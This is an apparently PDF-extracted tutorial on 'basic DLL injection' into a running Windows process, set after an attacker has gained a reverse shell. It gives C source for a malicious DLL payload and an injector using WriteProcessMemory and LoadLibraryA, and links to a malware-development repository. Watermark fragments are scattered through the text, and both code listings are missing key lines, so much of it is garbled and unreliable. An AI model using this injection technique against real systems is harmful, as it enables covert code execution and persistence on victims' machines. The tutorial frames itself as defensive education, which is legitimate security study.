Exploiting Running Processes__Basic DLL Injection
Exploiting Running Processes__Basic DLL Injection
er
manipulates legitimate processes by loading malicious DLLs, enabling attackers to
yb
execute code, maintain persistence, or exfiltrate data. These techniques pose
significant threats to misconfigured and legacy systems.
C
k
Step 1: Gaining Initial Access
lis
The attacker starts by gaining access to the target system, often through phishing,
be
social engineering, or exploiting a vulnerability. This foothold allows them to establish a
reverse shell connection back to their machine for remote command execution.
O
We can verify this reverse shell connection is active.
|
Jr
tin
ar
M
ul
Pa
We can verify this process and its PID on the target machine using Process Hacker.
er
yb
C
k
[Tasklist Output Showing PID 8492]
lis
be
| O
Jr
tin
For the purpose of this example, the attacker uses a malicious DLL payload (“ez.dll”)
designed to create a log file as proof of execution. This log file, dll_log.txt, writes
Pa
“DLL executed successfully!” upon successful execution. The DLL can be delivered to
the target system through various means such as:
DLL Payload
er
#include <windows.h>
yb
#include <stdio.h>
C
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
k
lis
FILE *file;
switch (dwReason) {
be
O
case DLL_PROCESS_ATTACH:
if (file) {
Jr
fclose(file);
}
ar
break;
M
ul
case DLL_PROCESS_DETACH:
Pa
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
return TRUE;
These modified scripts ensure compatibility with modern systems while maintaining
er
functionality. The original scripts are available here:
yb
Payload:
C
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main
/chapter02/01-traditional-injection/evil.c
k
lis
Injector:
be
https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main
/chapter02/01-traditional-injection/hack3.c
| O
The attacker executes a custom script to inject the DLL into the target process. This
tin
script allocates memory within the target process, writes the DLL path to the allocated
memory, and uses LoadLibraryA to load the DLL. The script outputs: “DLL
ar
successfully injected!”
M
Injection Script
ul
Pa
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
HANDLE process_handle;
HANDLE remote_thread;
er
PVOID remote_buffer;
yb
C
// Handle to kernel32 and LoadLibraryA
k
lis
LPTHREAD_START_ROUTINE loadLibraryBuffer =
(LPTHREAD_START_ROUTINE)GetProcAddress(kernel32_handle, "LoadLibraryA");
return -1;
}
tin
ar
if (!process_handle) {
return -1;
if (!remote_buffer) {
CloseHandle(process_handle);
er
return -1;
yb
}
C
// Copy DLL path into the allocated memory
k
if (!WriteProcessMemory(process_handle, remote_buffer, maliciousDLL,
lis
dll_length, NULL)) {
CloseHandle(process_handle);
be
O
return -1;
}
|
Jr
if (!remote_thread) {
CloseHandle(process_handle);
Pa
return -1;
CloseHandle(remote_thread);
CloseHandle(process_handle);
return 0;
er
yb
C
k
lis
[Reverse Shell Confirming Injection]
be
Step 5: Verifying the Injection on the Target Machine
O
Now, we can verify the DLL injection by inspecting the target process using Process
|
Hacker:
Jr
k
lis
2. Memory Tab:
○ Using the base address from the Modules tab, we navigate to the memory
allocated for ez.dll. be
○ In the ASCII section of the memory viewer, we can find the string:
O
C:\Users\A Vulnerable User\Downloads\dll_log.txt and “DLL
executed successfully!”, confirming the DLL’s execution.
|
Jr
tin
ar
M
ul
Pa
lis
Why This Matters
be
O
DLL injection allows attackers to exploit legitimate processes, enabling:
|
Jr
er
Conclusion
yb
This demonstration showcases how DLL injection can be used to exploit running
processes on misconfigured or outdated systems. Understanding these techniques
C
enables better preparation and defenses against them.
k
lis
Stay vigilant, and keep learning—every step forward strengthens the security of our
digital landscape.
be
| O
Jr
tin
ar
M
ul
Pa